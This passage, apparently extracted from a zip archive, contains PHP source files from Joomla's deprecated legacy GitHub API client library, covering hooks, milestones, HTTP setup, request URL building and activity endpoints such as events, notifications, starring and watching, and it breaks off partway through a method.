* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithub
{
/**
* @var Registry Options for the GitHub object.
* @since 1.7.3
*/
protected $options;
/**
* @var JGithubHttp The HTTP client object to use in sending HTTP
requests.
* @since 1.7.3
*/
protected $client;
/**
* @var array List of known packages.
* @since 3.3 (CMS)
*/
protected $packages = array(
'activity',
'authorization',
'data',
'gists',
'gitignore',
'issues',
'markdown',
'orgs',
'pulls',
'repositories',
'users',
);
/**
* @var array List of known legacy packages.
* @since 3.3 (CMS)
*/
protected $legacyPackages = array('refs', 'forks',
'commits', 'milestones', 'statuses',
'account', 'hooks', 'meta');
/**
* Constructor.
*
* @param Registry $options GitHub options object.
* @param JGithubHttp $client The HTTP client object.
*
* @since 1.7.3
*/
public function __construct(Registry $options = null, JGithubHttp $client
= null)
{
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JGithubHttp($this->options);
// Setup the default API url if not already set.
$this->options->def('api.url',
'https://api.github.com');
}
/**
* Magic method to lazily create API objects
*
* @param string $name Name of property to retrieve
*
* @throws RuntimeException
*
* @since 1.7.3
* @return JGithubObject GitHub API object (gists, issues, pulls, etc).
*/
public function __get($name)
{
if (false == in_array($name, $this->packages))
{
// Check for a legacy class
if (in_array($name, $this->legacyPackages))
{
if (false == isset($this->$name))
{
$className = 'JGithub' . ucfirst($name);
$this->$name = new $className($this->options, $this->client);
}
return $this->$name;
}
throw new RuntimeException(sprintf('%1$s - Unknown package
%2$s', __METHOD__, $name));
}
if (false == isset($this->$name))
{
$className = 'JGithubPackage' . ucfirst($name);
$this->$name = new $className($this->options, $this->client);
}
return $this->$name;
}
/**
* Get an option from the JGitHub instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 1.7.3
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JGitHub instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JGitHub This object for method chaining.
*
* @since 1.7.3
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
PKKn�[>O��MMgithub/hooks.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Hooks class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubHooks extends JGithubObject
{
/**
* Array containing the allowed hook events
*
* @var array
* @since 3.1.4
*/
protected $events = array(
'push',
'issues',
'issue_comment',
'commit_comment',
'pull_request',
'gollum',
'watch',
'download',
'fork',
'fork_apply',
'member',
'public',
'status',
);
/**
* Method to create a hook on a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $name The name of the service being called.
* @param array $config Array containing the config for the service.
* @param array $events The events the hook will be triggered for.
* @param boolean $active Flag to determine if the hook is active
*
* @deprecated use repositories->hooks->create()
*
* @return object
*
* @since 3.1.4
* @throws DomainException
* @throws RuntimeException
*/
public function create($user, $repo, $name, array $config, array $events =
array('push'), $active = true)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/hooks';
// Check to ensure all events are in the allowed list
foreach ($events as $event)
{
if (!in_array($event, $this->events))
{
throw new RuntimeException('Your events array contains an
unauthorized event.');
}
}
$data = json_encode(
array('name' => $name, 'config' => $config,
'events' => $events, 'active' => $active)
);
return $this->processResponse(
$this->client->post($this->fetchUrl($path), $data),
201
);
}
/**
* Method to delete a hook
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id ID of the hook to delete.
*
* @deprecated use repositories->hooks->delete()
*
* @return object
*
* @since 3.1.4
* @throws DomainException
*/
public function delete($user, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/hooks/' . $id;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
/**
* Method to edit a hook.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id ID of the hook to edit.
* @param string $name The name of the service being called.
* @param array $config Array containing the config for the
service.
* @param array $events The events the hook will be triggered
for. This resets the currently set list
* @param array $addEvents Events to add to the hook.
* @param array $removeEvents Events to remove from the hook.
* @param boolean $active Flag to determine if the hook is
active
*
* @deprecated use repositories->hooks->edit()
*
* @return object
*
* @since 3.1.4
* @throws DomainException
* @throws RuntimeException
*/
public function edit($user, $repo, $id, $name, array $config, array
$events = array('push'), array $addEvents = array(),
array $removeEvents = array(), $active = true)
{
// Check to ensure all events are in the allowed list
foreach ($events as $event)
{
if (!in_array($event, $this->events))
{
throw new RuntimeException('Your events array contains an
unauthorized event.');
}
}
foreach ($addEvents as $event)
{
if (!in_array($event, $this->events))
{
throw new RuntimeException('Your active_events array contains an
unauthorized event.');
}
}
foreach ($removeEvents as $event)
{
if (!in_array($event, $this->events))
{
throw new RuntimeException('Your remove_events array contains an
unauthorized event.');
}
}
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/hooks/' . $id;
$data = json_encode(
array(
'name' => $name,
'config' => $config,
'events' => $events,
'add_events' => $addEvents,
'remove_events' => $removeEvents,
'active' => $active,
)
);
return $this->processResponse(
$this->client->patch($this->fetchUrl($path), $data)
);
}
/**
* Method to get details about a single hook for the repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id ID of the hook to retrieve
*
* @deprecated use repositories->hooks->get()
*
* @return object
*
* @since 3.1.4
* @throws DomainException
*/
public function get($user, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/hooks/' . $id;
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Method to list hooks for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $page Page to request
* @param integer $limit Number of results to return per page
*
* @deprecated use repositories->hooks->getList()
*
* @return object
*
* @since 3.1.4
* @throws DomainException
*/
public function getList($user, $repo, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/hooks';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Method to test a hook against the latest repository commit
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id ID of the hook to delete
*
* @deprecated use repositories->hooks->test()
*
* @return object
*
* @since 3.1.4
* @throws DomainException
*/
public function test($user, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/hooks/' . $id . '/test';
return $this->processResponse(
$this->client->post($this->fetchUrl($path),
json_encode('')),
204
);
}
}
PKKn�[ �rG��github/http.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* HTTP client class for connecting to a GitHub instance.
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubHttp extends JHttp
{
/**
* Use no authentication for HTTP connections.
*
* @var integer
* @since 1.7.3
*/
const AUTHENTICATION_NONE = 0;
/**
* Use basic authentication for HTTP connections.
*
* @var integer
* @since 1.7.3
*/
const AUTHENTICATION_BASIC = 1;
/**
* Use OAuth authentication for HTTP connections.
*
* @var integer
* @since 1.7.3
*/
const AUTHENTICATION_OAUTH = 2;
/**
* Constructor.
*
* @param Registry $options Client options object.
* @param JHttpTransport $transport The HTTP transport object.
*
* @since 1.7.3
*/
public function __construct(Registry $options = null, JHttpTransport
$transport = null)
{
// Call the JHttp constructor to setup the object.
parent::__construct($options, $transport);
// Make sure the user agent string is defined.
$this->options->def('userAgent',
'JGitHub/2.0');
// Set the default timeout to 120 seconds.
$this->options->def('timeout', 120);
}
}
PKKn�[O1���github/meta.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Meta class.
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubMeta extends JGithubObject
{
/**
* Method to get the authorized IP addresses for services
*
* @return array Authorized IP addresses
*
* @since 3.2.0
* @throws DomainException
*/
public function getMeta()
{
// Build the request path.
$path = '/meta';
$githubIps =
$this->processResponse($this->client->get($this->fetchUrl($path)),
200);
/*
* The response body returns the IP addresses in CIDR format
* Decode the response body and strip the subnet mask information prior
to
* returning the data to the user. We're assuming quite a bit here
that all
* masks will be /32 as they are as of the time of development.
*/
$authorizedIps = array();
foreach ($githubIps as $key => $serviceIps)
{
// The first level contains an array of IPs based on the service
$authorizedIps[$key] = array();
foreach ($serviceIps as $serviceIp)
{
// The second level is each individual IP address, strip the mask here
$authorizedIps[$key][] = substr($serviceIp, 0, -3);
}
}
return $authorizedIps;
}
}
PKKn�[�ZX�github/milestones.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Milestones class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubMilestones extends JGithubObject
{
/**
* Method to get the list of milestones for a repo.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $state The milestone state to retrieved. Open
(default) or closed.
* @param string $sort Sort can be due_date (default) or
completeness.
* @param string $direction Direction is asc or desc (default).
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @deprecated use issues->milestones->getList()
*
* @return array
*
* @since 3.1.4
*/
public function getList($user, $repo, $state = 'open', $sort =
'due_date', $direction = 'desc', $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/milestones?';
$path .= 'state=' . $state;
$path .= '&sort=' . $sort;
$path .= '&direction=' . $direction;
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a specific milestone.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $milestoneId The milestone id to get.
*
* @deprecated use issues->milestones->get()
*
* @return object
*
* @since 3.1.4
*/
public function get($user, $repo, $milestoneId)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/milestones/' . (int) $milestoneId;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to create a milestone for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $title The title of the milestone.
* @param string $state Can be open (default) or closed.
* @param string $description Optional description for milestone.
* @param string $dueOn Optional ISO 8601 time.
*
* @deprecated use issues->milestones->create()
*
* @return object
*
* @since 3.1.4
*/
public function create($user, $repo, $title, $state = null, $description =
null, $dueOn = null)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/milestones';
// Build the request data.
$data = array(
'title' => $title,
);
if (!is_null($state))
{
$data['state'] = $state;
}
if (!is_null($description))
{
$data['description'] = $description;
}
if (!is_null($dueOn))
{
$data['due_on'] = $dueOn;
}
$data = json_encode($data);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to update a milestone.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $milestoneId The id of the comment to update.
* @param integer $title Optional title of the milestone.
* @param string $state Can be open (default) or closed.
* @param string $description Optional description for milestone.
* @param string $dueOn Optional ISO 8601 time.
*
* @deprecated use issues->milestones->edit()
*
* @return object
*
* @since 3.1.4
*/
public function edit($user, $repo, $milestoneId, $title = null, $state =
null, $description = null, $dueOn = null)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/milestones/' . (int) $milestoneId;
// Build the request data.
$data = array();
if (!is_null($title))
{
$data['title'] = $title;
}
if (!is_null($state))
{
$data['state'] = $state;
}
if (!is_null($description))
{
$data['description'] = $description;
}
if (!is_null($dueOn))
{
$data['due_on'] = $dueOn;
}
$data = json_encode($data);
// Send the request.
$response = $this->client->patch($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to delete a milestone.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $milestoneId The id of the milestone to delete.
*
* @deprecated use issues->milestones->delete()
*
* @return void
*
* @since 3.1.4
*/
public function delete($user, $repo, $milestoneId)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/milestones/' . (int) $milestoneId;
// Send the request.
$response = $this->client->delete($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 204)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
}
}
PKKn�[�xE�
�
github/object.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* GitHub API object class for the Joomla Platform.
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
abstract class JGithubObject
{
/**
* @var Registry Options for the GitHub object.
* @since 1.7.3
*/
protected $options;
/**
* @var JGithubHttp The HTTP client object to use in sending HTTP
requests.
* @since 1.7.3
*/
protected $client;
/**
* Constructor.
*
* @param Registry $options GitHub options object.
* @param JGithubHttp $client The HTTP client object.
*
* @since 1.7.3
*/
public function __construct(Registry $options = null, JGithubHttp $client
= null)
{
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JGithubHttp($this->options);
}
/**
* Method to build and return a full request URL for the request. This
method will
* add appropriate pagination details if necessary and also prepend the
API url
* to have a complete URL for the request.
*
* @param string $path URL to inflect
* @param integer $page Page to request
* @param integer $limit Number of results to return per page
*
* @return string The request URL.
*
* @since 1.7.3
*/
protected function fetchUrl($path, $page = 0, $limit = 0)
{
// Get a new JUri object focusing the api url and given path.
$uri = new JUri($this->options->get('api.url') . $path);
if ($this->options->get('gh.token', false))
{
// Use oAuth authentication - @todo set in request header ?
$uri->setVar('access_token',
$this->options->get('gh.token'));
}
else
{
// Use basic authentication
if ($this->options->get('api.username', false))
{
$username = $this->options->get('api.username');
$username = str_replace('@', '%40', $username);
$uri->setUser($username);
}
if ($this->options->get('api.password', false))
{
$password = $this->options->get('api.password');
$password = str_replace('@', '%40', $password);
$uri->setPass($password);
}
}
// If we have a defined page number add it to the JUri object.
if ($page > 0)
{
$uri->setVar('page', (int) $page);
}
// If we have a defined items per page add it to the JUri object.
if ($limit > 0)
{
$uri->setVar('per_page', (int) $limit);
}
return (string) $uri;
}
/**
* Process the response and decode it.
*
* @param JHttpResponse $response The response.
* @param integer $expectedCode The expected "good"
code.
* @param boolean $decode If the should be response be
JSON decoded.
*
* @throws DomainException
* @since 3.3.0
*
* @return mixed
*/
protected function processResponse(JHttpResponse $response, $expectedCode
= 200, $decode = true)
{
// Validate the response code.
if ($response->code == $expectedCode)
{
return ($decode) ? json_decode($response->body) : $response->body;
}
// Decode the error response and throw an exception.
$error = json_decode($response->body);
$message = (isset($error->message)) ? $error->message :
'Error: ' . $response->code;
throw new DomainException($message, $response->code);
}
}
PKKn�[@Qxi"github/package/activity/events.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Activity Events class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/activity/events/
*
* @since 3.3 (CMS)
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageActivityEvents extends JGithubPackage
{
/**
* List public events.
*
* @since 3.1.4
* @return object
*/
public function getPublic()
{
// Build the request path.
$path = '/events';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List repository events.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @since 3.1.4
*
* @return object
*/
public function getRepository($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/events';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List issue events for a repository.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @since 3.1.4
* @return object
*/
public function getIssue($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/issues/events';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List public events for a network of repositories.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @since 3.1.4
* @return object
*/
public function getNetwork($owner, $repo)
{
// Build the request path.
$path = '/networks/' . $owner . '/' . $repo .
'/events';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List public events for an organization.
*
* @param string $org Organisation.
*
* @since 3.1.4
* @return object
*/
public function getOrg($org)
{
// Build the request path.
$path = '/orgs/' . $org . '/events';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List events that a user has received.
*
* These are events that you’ve received by watching repos and following
users.
* If you are authenticated as the given user, you will see private
events.
* Otherwise, you’ll only see public events.
*
* @param string $user User name.
*
* @since 3.1.4
* @return object
*/
public function getUser($user)
{
// Build the request path.
$path = '/users/' . $user . '/received_events';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List public events that a user has received.
*
* @param string $user User name.
*
* @since 3.1.4
* @return object
*/
public function getUserPublic($user)
{
// Build the request path.
$path = '/users/' . $user .
'/received_events/public';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List events performed by a user.
*
* If you are authenticated as the given user, you will see your private
events.
* Otherwise, you’ll only see public events.
*
* @param string $user User name.
*
* @since 3.1.4
* @return object
*/
public function getByUser($user)
{
// Build the request path.
$path = '/users/' . $user . '/events';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List public events performed by a user.
*
* @param string $user User name.
*
* @since 3.1.4
* @return object
*/
public function getByUserPublic($user)
{
// Build the request path.
$path = '/users/' . $user . '/events/public';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List events for an organization.
*
* This is the user’s organization dashboard.
* You must be authenticated as the user to view this.
*
* @param string $user User name.
* @param string $org Organisation.
*
* @since 3.1.4
* @return object
*/
public function getUserOrg($user, $org)
{
// Build the request path.
$path = '/users/' . $user . '/events/orgs/' . $org;
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
}
PKKn�[�2En��)github/package/activity/notifications.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Activity Events class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/activity/notifications/
*
* @since 3.3 (CMS)
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageActivityNotifications extends JGithubPackage
{
/**
* List your notifications.
*
* List all notifications for the current user, grouped by repository.
*
* @param boolean $all True to show notifications marked as
read.
* @param boolean $participating True to show only notifications in
which the user is directly participating or
* mentioned.
* @param JDate $since filters out any notifications updated
before the given time. The time should be passed in
* as UTC in the ISO 8601 format.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getList($all = true, $participating = true, JDate $since =
null)
{
// Build the request path.
$path = '/notifications?';
$path .= ($all) ? '&all=1' : '';
$path .= ($participating) ? '&participating=1' :
'';
$path .= ($since) ? '&since=' . $since->toISO8601() :
'';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List your notifications in a repository.
*
* List all notifications for the current user.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
* @param boolean $all True to show notifications marked as
read.
* @param boolean $participating True to show only notifications in
which the user is directly participating or
* mentioned.
* @param JDate $since filters out any notifications updated
before the given time. The time should be passed in
* as UTC in the ISO 8601 format.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getListRepository($owner, $repo, $all = true,
$participating = true, JDate $since = null)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/notifications?';
$path .= ($all) ? '&all=1' : '';
$path .= ($participating) ? '&participating=1' :
'';
$path .= ($since) ? '&since=' . $since->toISO8601() :
'';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Mark as read.
*
* Marking a notification as “read” removes it from the default view
on GitHub.com.
*
* @param boolean $unread Changes the unread status of the
threads.
* @param boolean $read Inverse of “unread”.
* @param JDate $lastReadAt Describes the last point that
notifications were checked.
* Anything updated since this time will
not be updated. Default: Now. Expected in ISO 8601 format.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function markRead($unread = true, $read = true, JDate $lastReadAt =
null)
{
// Build the request path.
$path = '/notifications';
$data = array(
'unread' => $unread,
'read' => $read,
);
if ($lastReadAt)
{
$data['last_read_at'] = $lastReadAt->toISO8601();
}
return $this->processResponse(
$this->client->put($this->fetchUrl($path), json_encode($data)),
205
);
}
/**
* Mark notifications as read in a repository.
*
* Marking all notifications in a repository as “read” removes them
from the default view on GitHub.com.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
* @param boolean $unread Changes the unread status of the
threads.
* @param boolean $read Inverse of “unread”.
* @param JDate $lastReadAt Describes the last point that
notifications were checked.
* Anything updated since this time will
not be updated. Default: Now. Expected in ISO 8601 format.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function markReadRepository($owner, $repo, $unread, $read, JDate
$lastReadAt = null)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/notifications';
$data = array(
'unread' => $unread,
'read' => $read,
);
if ($lastReadAt)
{
$data['last_read_at'] = $lastReadAt->toISO8601();
}
return $this->processResponse(
$this->client->put($this->fetchUrl($path), json_encode($data)),
205
);
}
/**
* View a single thread.
*
* @param integer $id The thread id.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function viewThread($id)
{
// Build the request path.
$path = '/notifications/threads/' . $id;
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Mark a thread as read.
*
* @param integer $id The thread id.
* @param boolean $unread Changes the unread status of the threads.
* @param boolean $read Inverse of “unread”.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function markReadThread($id, $unread = true, $read = true)
{
// Build the request path.
$path = '/notifications/threads/' . $id;
$data = array(
'unread' => $unread,
'read' => $read,
);
return $this->processResponse(
$this->client->patch($this->fetchUrl($path),
json_encode($data)),
205
);
}
/**
* Get a Thread Subscription.
*
* This checks to see if the current user is subscribed to a thread.
* You can also get a Repository subscription.
*
* @param integer $id The thread id.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getThreadSubscription($id)
{
// Build the request path.
$path = '/notifications/threads/' . $id .
'/subscription';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Set a Thread Subscription.
*
* This lets you subscribe to a thread, or ignore it. Subscribing to a
thread is unnecessary
* if the user is already subscribed to the repository. Ignoring a thread
will mute all
* future notifications (until you comment or get @mentioned).
*
* @param integer $id The thread id.
* @param boolean $subscribed Determines if notifications should be
received from this thread.
* @param boolean $ignored Determines if all notifications should
be blocked from this thread.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function setThreadSubscription($id, $subscribed, $ignored)
{
// Build the request path.
$path = '/notifications/threads/' . $id .
'/subscription';
$data = array(
'subscribed' => $subscribed,
'ignored' => $ignored,
);
return $this->processResponse(
$this->client->put($this->fetchUrl($path), json_encode($data))
);
}
/**
* Delete a Thread Subscription.
*
* @param integer $id The thread id.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function deleteThreadSubscription($id)
{
// Build the request path.
$path = '/notifications/threads/' . $id .
'/subscription';
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
}
PKKn�[x�X�$github/package/activity/starring.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Activity Events class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/activity/starring/
*
* @since 3.3 (CMS)
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageActivityStarring extends JGithubPackage
{
/**
* List Stargazers.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @since 3.3 (CMS)
*
* @return mixed
*/
public function getList($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/stargazers';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List repositories being starred.
*
* List repositories being starred by a user.
*
* @param string $user User name.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getRepositories($user = '')
{
// Build the request path.
$path = ($user)
? '/users' . $user . '/starred'
: '/user/starred';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Check if you are starring a repository.
*
* Requires for the user to be authenticated.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @throws UnexpectedValueException
* @since 3.3 (CMS)
*
* @return object
*/
public function check($owner, $repo)
{
// Build the request path.
$path = '/user/starred/' . $owner . '/' . $repo;
$response = $this->client->get($this->fetchUrl($path));
switch ($response->code)
{
case '204' :
// This repository is watched by you.
return true;
break;
case '404' :
// This repository is not watched by you.
return false;
break;
}
throw new UnexpectedValueException('Unexpected response code: '
. $response->code);
}
/**
* Star a repository.
*
* Requires for the user to be authenticated.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function star($owner, $repo)
{
// Build the request path.
$path = '/user/starred/' . $owner . '/' . $repo;
return $this->processResponse(
$this->client->put($this->fetchUrl($path), ''),
204
);
}
/**
* Unstar a repository.
*
* Requires for the user to be authenticated.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function unstar($owner, $repo)
{
// Build the request path.
$path = '/user/starred/' . $owner . '/' . $repo;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
}
PKKn�[p�?��$github/package/activity/watching.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Activity Watching Events class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/activity/watching/
*
* @since 3.3 (CMS)
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageActivityWatching extends JGithubPackage
{
/**
* List watchers
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @since 3.3 (CMS)
*
* @return mixed
*/
public function getList($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/subscribers';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List repositories being watched.
*
* List repositories being watched by a user.
*
* @param string $user User name.
*
* @since 3.3 (CMS)
*
* @return mixed
*/
public function getRepositories($user = '')
{
// Build the request path.
$path = ($user)
? '/users/' . $user . '/subscriptions'
: '/user/subscriptions';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Get a Repository Subscription.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @since 3.3 (CMS)
*
* @return mixed
*/
public function getSubscription($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/subscription';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Set a Repository Subscription.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
* @param boolean $subscribed Determines if notifications should be
received from this thread.
* @param boolean $ignored Determines if all notifications should
be blocked from this thread.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function setSubscription($owner, $repo, $subscribed, $ignored)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/subscription';
$data = array(
'subscribed' => $subscribed,
'ignored' => $ignored,
);
return $this->processResponse(
$this->client->put($this->fetchUrl($path), json_encode($data))
);
}
/**
* Delete a Repository Subscription.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function deleteSubscription($owner, $repo)
{
// Build the request path.
